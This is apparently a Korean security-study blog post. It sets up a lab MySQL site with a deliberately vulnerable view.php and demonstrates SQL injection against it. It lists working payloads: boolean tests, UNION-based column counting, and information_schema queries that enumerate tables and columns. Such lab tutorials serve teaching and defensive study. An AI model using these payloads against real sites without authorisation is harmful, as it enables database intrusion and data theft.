Blind SQL Injection
-SELECT 쿼리에 취약점이 존재
-DB내의 정보를 노출
-> 소스코드 없이 오직 페이지 에 있는 코드 혹은 SQL 명령등릐 결과로부터만
공격을 하는 것입니다.
->DB에 들어있는 데이터 중에서 블라인드 데이터, 화면에 보여지지않는
데이터들을 노출시키는 공격입니다
테스트 사이트 구축
1. DB :blind 생성
- table 생성
news table 생성
- no(숫자)
- title(문자)
- news(문자)
fnews table 생성
- no(숫자)
- title(문자)
- news(문자)
- bigo(문자)
anews table 생성
-no(숫자)
-title(문자)
! 각 테이블에는 테스트를 위한 데이터를 미리 입력(3개)
*news table
*fnews table
*anews table
이제 만든 DB를 쓰는 페이지를 구축해보도록 하겠습니다
#vi view.php
DB안에 있는 3개 column이 다 잘 출력됨을 볼 수 있습니다.
오류가 나는 이유는 뒤에 hello를 쿼리문으로 인식하기 떄문입니다(injection 가능)
http://192.168.12.241/view.php?no=1 hello
->SELECT * FROM news WHERE no=1 hello
에러가 난다
String으로 바꾼 뒤(''로 감쌌습니다)
-> SELECT * FROM news WHERE no='1hello'
에러가 나지 않는다
2. SELECT 쿼리의 응용
1). 여러개의 쿼리를 한 번에 실행
- 쿼리; 쿼리; 쿼리;
2).join, union, ...
- 쿼리(select) union 쿼리(select)
*union 쓸 때 주의사항
앞에 select가 출력하는 column 갯수와 뒤에 select가 출력하는 column이 맞춰줘야 합니다
안그러면 에러가 뜹니다
앞에 칼럼보다 뒤에 칼럼이 더 많다면
concat을 이용해서 붙여서 뒤에 내용을 같이 불러올 수 있습니다
앞에 컬럼보다 뒤에 컬럼이 적다면
아무거나 넣어서 불러오면 됩니다
웹상에서도 잘 되는 것을 확인 할 수 있습니다.
3. 취약점 가능 확인(참/거짓)
http://192.168.12.241/view.php?no=1 and 1=1
-> SELECT * FROM news WHERE no=1 and 1=1(참)
http://192.168.12.241/view.php?no=1 and 1=2
->SELECT * FROM news WHERE no=1 and 1=2(거짓)
내가 입력한 값으로 인해서 내용이 바뀌는 걸 알 수 있습니다.
4. 컬럼의 갯수 확인
http://192.168.12.241/view.php?no=1 union select 1 (에러)
http://192.168.12.241/view.php?no=1 union select 1,2 (에러)
http://192.168.12.241/view.php?no=1 union select 1,2,3 (실행)
->
SELECT * FROM news WHERE no=1 union select 1
SELECT * FROM news WHERE no=1 union select 1,2
이렇게 줄여나가면서 나올 때까지 찾습니다
5. 테이블 정보와 컬럼 정보 확인
2). information_schema
단점
- mysql에서만 사용이 가능
- version 5.x 이상에서만 사용이 가능
웹에서도 잘 작동 하는것을 볼 수 있습니다
->
SELECT * FROM news WHERE no=1 union select 1,table_schema ,table_name from information_schema.tables
http://192.168.12.241/view.php?no=1 union select 1 ,table_name,column_name from information_schema.columns where table_schema='blind';
->SELECT * FROM news WHERE no=1 union select 1 ,table_name,column_name from information_schema.columns where table_schema='blind'
이렇게 알고싶은 news , fnews, anews의 칼럼들을 알아냈습니다.
'Security > Web' 카테고리의 다른 글
SQL Injection 우회 기법 (0) | 2017.09.09 |
---|---|
[WEB SECURITY]19. BLIND SQL INJECTION 2 (0) | 2017.09.06 |
[WEB SECURITY]18 .SQL INJECTION 2 (0) | 2017.09.04 |
[WEB SECURITY]17. RIF 취약점 2 / SQL injection 1 (0) | 2017.09.01 |
[WEB SECURITY]16. 원격 쉘 / RIF 취약점 (0) | 2017.08.31 |